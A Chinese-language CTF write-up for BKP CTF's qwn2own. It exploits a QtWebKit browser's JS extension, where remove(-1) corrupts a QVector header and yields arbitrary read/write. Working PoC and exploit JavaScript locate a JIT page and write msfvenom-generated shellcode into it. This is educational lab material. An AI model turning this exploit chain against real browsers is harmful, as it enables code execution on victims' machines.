JS Engine Exploit-qwn2own

题目来源:BPK CTF - qwn2own

概述:第一次打浏览器的PWN,也是期末前最后一次Exploit。漏洞存在于JS引擎的扩展,JS引擎则是webkit自带的javascriptcore。题目的所有防护机制都是开启的,最后除了传统利用方法泄露地址,利用JIT Page写来绕过DEP是比较有意思的部分。

veZzlT

运行这个程序,我们打开一个主办方写的浏览器。要求我们编写对该浏览器进行漏洞利用的js代码,并且弹出一个计算器。

Target浏览器运行效果

NWBbuv

题目描述:

The BKP Database JavasScript API allows users to store data that can be kept hidden from other users.This allows web applications to share one web context between multiple users but yet still be able to storesensitive information pertaining to each user and keep it secret from the others.

更多部分看官方的API文档

这个Browser大概是出题人用QTwebkit内核写出的简易浏览器,主办方写了一个外部的扩展(JS Extension),题目描述的就是这个插件。

同时这个漏洞存在于插件中(如果能挖到webkit/jscore漏洞的话还不去申请CVE?)

主办方还给出了API接口文档,速读一下获取这个扩展功能的全貌。

n7wDmG

0.前置知识

QT WebKit https://doc.qt.io/archives/qt-5.5/qtwebkitwidgets-index.html

QT-WebKit是一个将Webkit移植到QT的一个开源项目,Javascript操作的对象都是通过C++定义,漏洞存在的于C++所写的扩展中,JS在调用扩展对象时才有可能触发这个漏洞。

因为笔者的C++ STL基础不够扎实,所以QT部分无法解读更多内容。(挖个坑)

QT5源码:http://download.qt.io/archive/qt/5.14/

线上版 https://code.woboq.org/qt5/qtbase/src/corelib/tools/qvector.h.html

JIT基础知识(留坑)

1.漏洞代码

通过访问题目提供的example.html和API文档来快速熟悉代码。当使用BKPDataBase创建数据存储,会返回一个BKInstancec对象。BKPInstance对象可以创建一个包含数组(QVector)的对象(QBJECT)BKPStore,该对象可以创建一个拥有对其存储数据的操作权。

程序的BKPStore对象定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

class BKPStore : public QObject {
Q_OBJECT
public:
BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
void StoreData(QVariant v);

Q_INVOKABLE QVariant getall();
Q_INVOKABLE QVariant get(int idx);
Q_INVOKABLE int insert(unsigned int idx, QVariant var);
Q_INVOKABLE int append(QVariant var);
Q_INVOKABLE void remove(int idx);
Q_INVOKABLE void cut(int beg, int end);
Q_INVOKABLE int size();

private:
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
};

由于BKPStore的remove操作没有对输入参数进行限制,使用-1参数会导致erase函数对数组结构本身造成破坏,引发一个任意地址R/W漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
void BKPStore::remove(int idx){
if(this->type == 0){
this->varvect.erase(this->varvect.begin() + idx);
}else if(this->type == 1){
this->intvect.erase(this->intvect.begin() + idx);
}else if(this->type == 2){
this->strvect.erase(this->strvect.begin() + idx);
}else{
// this doesn't happen ever
BKPException ex;
throw ex;
}

QT中erase内联函数(/src/corelib/tools/qvector.h)定义,erase如果只有一个参数,就只会对当前值erase,而不是一个范围。

1
2
iterator erase(iterator begin, iterator end);
inline iterator erase(iterator pos) { return erase(pos, pos+1); }

QT版本的erase的实现和标准的STL中基本一致,将erase范围内的数据删去,并且将aend以后的参数拷贝到前面新的空闲位置。(使用new或者memmove)

关键问题在于这个函数也没有对输入参数的检测,如果输入的参数为-1,那么abegin=-1,aend=0,erase会将原本index为0的数据,到QVector结构的前面(index=-1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
template <typename T>
typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
Q_ASSERT_X(isValidIterator(abegin), "QVector::erase", "The specified iterator argument 'abegin' is invalid");
Q_ASSERT_X(isValidIterator(aend), "QVector::erase", "The specified iterator argument 'aend' is invalid");

const auto itemsToErase = aend - abegin;

if (!itemsToErase)
return abegin;

Q_ASSERT(abegin >= d->begin());
Q_ASSERT(aend <= d->end());
Q_ASSERT(abegin <= aend);

const auto itemsUntouched = abegin - d->begin();

// FIXME we could do a proper realloc, which copy constructs only needed data.
// FIXME we are about to delete data - maybe it is good time to shrink?
// FIXME the shrink is also an issue in removeLast, that is just a copy + reduce of this.
if (d->alloc) {
detach();
abegin = d->begin() + itemsUntouched;
aend = abegin + itemsToErase;
if (!QTypeInfoQuery<T>::isRelocatable) {
iterator moveBegin = abegin + itemsToErase;
iterator moveEnd = d->end();
while (moveBegin != moveEnd) {
if (QTypeInfo<T>::isComplex)
static_cast<T *>(abegin)->~T();
new (abegin++) T(*moveBegin++);
}
if (abegin < d->end()) {
// destroy rest of instances
destruct(abegin, d->end());
}
} else {
destruct(abegin, aend);
// QTBUG-53605: static_cast<void *> masks clang errors of the form
// error: destination for this 'memmove' call is a pointer to class containing a dynamic class
// FIXME maybe use std::is_polymorphic (as soon as allowed) to avoid the memmove
memmove(static_cast<void *>(abegin), static_cast<void *>(aend),
(d->size - itemsToErase - itemsUntouched) * sizeof(T));
}
d->size -= int(itemsToErase);
}
return d->begin() + itemsUntouched;
}

BKPStore对象操作对象QVector,定义了三个不同的QVector指针(对应不同的type,1对应int,2对应str,0对应var),如果忘了可以往上翻,重新看一下这个对象的定义。

QVector数据结构为QArrayData

头部长度24byte,offset这个值正好在array的前面。如果使用remove(-1)正好会把offset值删去,并将我们写入数组的第一个值放入offset值。(虽然实际上只能覆盖低八位,不过已经足够够了,offset值本身就用不到高8位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref; //4 byte 引用计数
    int size; //4 byte 大小
    uint alloc : 31; // 4 byte 分配大小
    uint capacityReserved : 1; //4byte

    qptrdiff offset; //8 byte // in bytes from beginning of header arry距离数组的偏移
   
// array starts here
void *data() //动态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}

const void *data() const //静态
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}

POC

通过POC可以看到,通过remove(-1) QArryData数组的第一位0覆盖了offset,

然后程序将整个结构的头部打印了出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Poc1.html

<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);

A.remove(-1);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}

document.getElementById("print").innerHTML=x;
</script>

4lmO8B

头部分别是ref=1 ,size因为remove所以减少了1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0 : 900000001 1<--ref  9 <--size
1 : 7faa0000000d
2 : 0
3 : 1
4 : 2
5 : 3
6 : 4
7 : 5
8 : 6
9 : 0 <--size减少导致的不可读(9及以下都不可读)
10 : 0
11 : 0
12 : 0
13 : 0
14 : 0

此时通过inset可以将size值修改为任意值,从而达到任意地址读取的效果。

A.insert(0,0xffff000000001);

如图所示,我们将size值改为了0xffff(还要保证ref=1,否则会被垃圾回收机制干掉),于是后面的地址都能打印出来了。

gaRG9R

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

poc2.html
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var A=db.createStore("db1",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);

A.remove(-1);
A.insert(0,0xffff000000001);
var x="";
for(var i=0;i<15;i++)
{
x+=i+" : "+A.get(i).toString(16)+"<br>";
}
document.getElementById("print").innerHTML=x;
</script>

2.构造Exploit

一些要点:Js的heap和QT(我们这次分析的)的heap是分开的,QT直接用的libc的heap。所以内存查找不用担心找到js中的key1

通过匹配store_ping值,寻找C对象的BKPStore结构地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<div id="print"></div>
<script type="text/javascript">
var db=BKPDataBase.create("dbname","passwd");
var key1=0xabcd1234;
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xaabb);
var C=db.createStore("C",1,[0,1,2,3,4,5,6,7,8,9],key1);
B.remove(-1);
B.insert(0,0xffff000000001);

var x="";
for(var i=0;i<2000 ;i++)
{
//x+=i+" : "+B.get(i).toString(16)+"<br>";
if(B.get(i)==key1){
//alert("i="+i);
for(var j=i-10;j<i+10;j++)
{
x+=j+" : "+B.get(j).toString(16)+"<br>";
}
}
}
document.getElementById("print").innerHTML=x;
</script>

构造两个Vector,读取另一个的虚函数表

判断条件 store_ping参数 ,对照结构可以取到第二个Vector的intvect地址

BKPStore结构参考

1
2
3
4
5
6
  quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;

JS打印出了BKPStore的结构,我们可以获取这个QVector的地址还有后文用于泄漏地址的Vtable地址。

打印地址时候需要注意的是,因为创建大量的内存,heap内部空间会比较乱,很可能读取到上一次遗留/错误的地址。添加一个判断条件来保证BKPStore的正确性,必须保证读取到的strvect和varvect相等(未初始化状态),

Jl8lBo

intvect的内容,指向QArrayData结构

![image-20200123195257545](/Users/migraine/Library/Application Support/typora-user-images/image-20200123195257545.png)

2.1实现任意地址读写

任意地址写的思路很简单,通过控制对象C_Vector的offset大小,实现任意地址读写。修改offset的方法,只需通过BVector的越界读写修改C的offset即可

实现代码

使用read读取vtable的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<div id="out"></div>
<script type="text/javascript">
function print(str)
{
document.getElementById("out").innerHTML+=str+"<br>";
}
function exploit(){
//任意地址读
function read(addr)
{
offset=addr-C_vec; //计算读取地址和Cvector数组的距离
B.insert(B2C_index-1,offset); //修改offset为距离
info=C.get(0); //读取
if(C.get(0)==key2) //检测offset是否成功修改
return false;
B.insert(B2C_index-1,0);
return info;
}
for (var i = 1000; i >= 0; i--) {
var db=BKPDataBase.create("dbname","passwd");
var key1=Math.floor(Math.random()*1e12); //随机生成
var key2=Math.floor(Math.random()*1e12);
var B=db.createStore("B",1,[0,1,2,3,4,5,6,7,8,9],0xabc);
var C=db.createStore("C",1,[key2,0xbbbb,0xdeadbeef],key1);
B.remove(-1);
B.insert(0,0xffff000000001);

var B2C_index=-1; //B->QArrayData数组 到 C ->QArrayData 的距离
var C_vec=-1;//C->QArrayData
var vtable;
var x="";
//获取 C_vec地址
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key1&&B.get(i-1)==B.get(i-3)&&C_vec==-1){
C_vec=B.get(i-2);
vtable=B.get(i-6);
//alert(vtable.toString(16));
}
}
for(var i=0;i<2000 ;i++)
{
if(B.get(i)==key2&&B.get(i+1)==0xbbbb&&B.get(i+2)==0xdeadbeef&&B2C_index==-1){
B2C_index=i;
}
}
if(B2C_index!=-1&&C_vec!=-1)
{
x=("C_vec="+C_vec.toString(16)+"<br>");
x+=("B2C_index="+B2C_index.toString(16)+"<br>");
if(read(vtable)==false)
continue;
x+="info="+read(vtable).toString(16); //读取vtable的值
print(x);
break;
}
}
}
exploit();
</script>

ydW7KE

Gdb attach到浏览器,查看虚函数表地址

1
2
3
4
gef➤  x/20xg 0x55f34f2ed400
0x55f34f2ed400 <_ZTV8BKPStore+16>: 0x000055f34f0e8b80 0x000055f34f0e8eb0
0x55f34f2ed410 <_ZTV8BKPStore+32>: 0x000055f34f0e8ff0 0x000055f34f0e93d0
0x55f34f2ed420 <_ZTV8BKPStore+48>: 0x000055f34f0e9230 0x00007f7f7d357b10

同理任意地址写的代码只需把read函数的get换成insert

1
2
3
4
5
6
7
8
9
function write(addr,content)
{
offset=addr-C_vec;
B.insert(B2C_index-1,offset); //修改offset
if(C.get(0)==key2) //检测offset是否成功修改
return false;
C.insert(0,content);
return true;
}

不过这里,任意地址写没办法修改虚函数表,会报段错误。

修改程序流程只需要将vtable覆盖即可,不过这次的案例并不会覆盖虚表的方式,而会使用JIT Page的方式写入shellcode。

漏洞分析完毕,下面开始写利用

2.2利用手法

看大佬的分析,主要两种利用方式

1.传统的泄漏地址,绕过ASLR

2.使用JIT Page写shellcode(JIT SPray)

参考文献 https://www.usenix.org/sites/default/files/conference/protected-files/woot18_slides_gawlik.pdf

[https://conference.hitb.org/hitbsecconf2010ams/materials/D1T2%20-%20Alexey%20Sintsov%20-%20JIT%20Spray%20Attacks%20and%20Advanced%20Shellcode.pdf](https://conference.hitb.org/hitbsecconf2010ams/materials/D1T2 - Alexey Sintsov - JIT Spray Attacks and Advanced Shellcode.pdf)

JITPage写Shellcode

Javascriptcore Heap(JIT Page所在Heap)和QT的Heap(QT用的libc堆)地址不在同一个堆中,所以需要在QT的heap中找到指向JIT Page的指针。

首先在exploit开头创建一个func,并且循环调用。JIT会将循环多次的func转化为机器码以提高效率。将func的地址写入数组,并且以特定个格式存储,以便之后在内存查找func地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var bab = "Migraine";
targeted = function(a) {
for(var i = 0; i< 10000; i++){
a = a^0x123456^0x3eeee;
a= a^0x1666456^0x3e66ee;
}
return a^0x66666;
}

_yol = new Array(20);
for (i=0;i<20;i++)
_yol[i] = bab;
_yol[13] = targeted;

func_addr = null;

获取JIT page指针(实现任意地址读写之后)

JIT指针内存,看到我们写入func被JIT编译为了机器码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
for(jimbo=C_vec;func_addr==null;jimbo=jimbo-8)
{
chunksz=read(jimbo);
if(chunksz<=0x20||(chunksz&0xf1)!=chunksz)
continue;
chunksz = chunksz - chunksz & 1;
nextsz = read(jimbo+chunksz);
if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz&1)!=1)
continue;
heapaddr = read(jimbo+10*8);
if ((heapaddr <= C_vec) || ((heapaddr & 0xfff) != 0))
continue;

if (heapaddr != read(jimbo + 11*8))
continue;

nbregions = read(jimbo+2*8);
regsz = read(jimbo+4*8);
heapsz = read(jimbo + 12*8);
if (nbregions != 2 || ((heapsz & 0xfff) != 0) || ((regsz & 0xfff) != 0) || heapsz == 0 || nbregions*regsz != heapsz)
continue;
for (i=8;i<heapsz;i+=8) {
babar = read(heapaddr + i);
if (babar < C_vec) continue;
match = true;
for (j=1;j<20;j++) {
if (((j == 13) && (read(heapaddr + i + j*8) == babar)) || ((j != 13) && (read(heapaddr + i + j*8) != babar))) {
match = false;
break;
}
}
if (match == true) {
func_addr = read(heapaddr + i + 13*8);
break;
}
}
targeted(123);
jit_ptr = read(func_addr + 8*3) + 8*4;
jit_addr =read(jit_ptr);
}
print("func_addr="+func_addr.toString(16)+"<br>");
print("jit_addr="+_addr.toString(16)+"<br>");

![image-20200123195339713](/Users/migraine/Library/Application Support/typora-user-images/image-20200123195339713.png)

这里的JIT page是RWX,所以直接写shellcode就行。之后调用func就会执行shellcode。

而不是通过覆盖指向JIT的Point来控制程序流。

不过目前大多数引擎都支持了对JIT Page的防护,JIT Page程序没有写入和执行(除非call func)权限,就需要使用JIT Spray和JIT-ROP。

![image-20200123195359719](/Users/migraine/Library/Application Support/typora-user-images/image-20200123195359719.png)

1
2
3
4
5
for (var i =0; i < shellcode.length; i++) {
write(jit_addr+i,shellcode.charCodeAt(i));
}
//alert(1);//for attac
targeted(123);//exploit

cOHgZ4

泄漏地址(留坑)

获取qwn2own基地址

读者应该还记得,之前泄漏BKPStore结构时,我们能够leak虚函数表,因为vtable虚函数表在程序内的偏移是固定的,于qwn2own 基地址偏移0x2103F0.

而stroe_ping-6的位置,存放这BKPStore的虚函数表(偏移0n16)

VW4NxY

查看读取出的虚函数表

1
2
3
4
5
gef➤  x/20 0x55a2cd227400  (后又重新运行,导致vtable地址和图片不一致)
0x55a2cd227400 <_ZTV8BKPStore+16>: 0x000055a2cd022b80 0x000055a2cd022eb0
0x55a2cd227410 <_ZTV8BKPStore+32>: 0x000055a2cd022ff0 0x000055a2cd0233d0
0x55a2cd227420 <_ZTV8BKPStore+48>: 0x000055a2cd023230 0x00007f1544ddbb10
0x55a2cd227430 <_ZTV8BKPStore+64>: 0x00007f1544dd7810 0x00007f1544dd7820

获取Binary的Base_address之后,可以通过泄漏got表来计算各个模块的基地址,也可以使用DT_DEBUG获取(详见参考文献)

留坑

实现_dl_runtime_resolve函数

dynamic段的定义(glibc/elf/elf.h)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef struct
{
Elf64_Sxword d_tag; //8 byte /* Dynamic entry type */
Union //联合类型 8 byte
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn; //16 byte

/* Legal values for d_tag (dynamic entry type). */

#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */

gef➤ elfheader
.dynsym = 0x55a2cd0172e0
.dynstr = 0x55a2cd018738
.gnu.version = 0x55a2cd01a33c
.gnu.version_r = 0x55a2cd01a4f0
.rela.dyn = 0x55a2cd01a580
.init = 0x55a2cd01c2c0
.plt = 0x55a2cd01c2e0
.plt.got = 0x55a2cd01c2f0
.text = 0x55a2cd01c730
.fini = 0x55a2cd023aa4
.rodata = 0x55a2cd023ac0
.eh_frame_hdr = 0x55a2cd024898
.eh_frame = 0x55a2cd024c70
.gcc_except_table = 0x55a2cd026584
.init_array = 0x55a2cd227320
.fini_array = 0x55a2cd227330
.jcr = 0x55a2cd227338
.data.rel.ro = 0x55a2cd227340
.dynamic = 0x55a2cd227910
.got = 0x55a2cd227b50
.data = 0x55a2cd228000
.bss = 0x55a2cd228028

查看dynamic段

1
2
3
4
5
6
7
8
gef➤  x/40 0x55a2cd227910
0x55a2cd227910: 0x0000000000000001 0x0000000000000001
0x55a2cd227920: 0x0000000000000001 0x0000000000000ea7

0x55a2cd227a10: 0x0000000000000005 <--d_tag=5 0x000055a2cd018738 <--STRTAB
0x55a2cd227a20: 0x0000000000000006<--d_tag=6 0x000055a2cd0172e0 <--SYMTAB
0x55a2cd227a30: 0x000000000000000a 0x0000000000001c03
0x55a2cd227a40: 0x000000000000000b 0x0000000000000018

查看STRTAB

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  x/20s  0x000055a2cd018738
0x55a2cd018738: ""
0x55a2cd018739: "libQt5WebKitWidgets.so.5"
0x55a2cd018752: "__gmon_start__"
0x55a2cd018761: "_ITM_deregisterTMCloneTable"
0x55a2cd01877d: "_ITM_registerTMCloneTable"
0x55a2cd018797: "_Jv_RegisterClasses"
0x55a2cd0187ab: "_ZNK11QObjectData17dynamicMetaObjectEv"
0x55a2cd0187d2: "_ZN7QObject7connectEPKS_PKcS1_S3_N2Qt14ConnectionTypeE"
0x55a2cd018809: "_ZN11QMetaObject10ConnectionD1Ev"
0x55a2cd01882a: "_ZN4QUrlC1Ev"
0x55a2cd018837: "_ZN10QArrayData11shared_nullE"
0x55a2cd018855: "_ZN10QArrayData10deallocateEPS_mm"

调试的新姿势整理

1
2
3
4
5
6
7
8
9
gdb命令
at PID 附加到进程
elfheader 获取ELF的header信息
查看进程内存
cat /proc/`pidof qwn2own`/maps
查看二进制
Xxd
msf生成shellcode(弹计算器shell加DISPLAY)
msf5 > msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c> shellcode

参考文献:

https://blog.frizn.fr/bkpctf-2016/qwn2own-bkpctf16

http://v4kst1z.top/2019/01/25/qwn2own/#more

http://rk700.github.io/2015/04/09/dt_debug-read/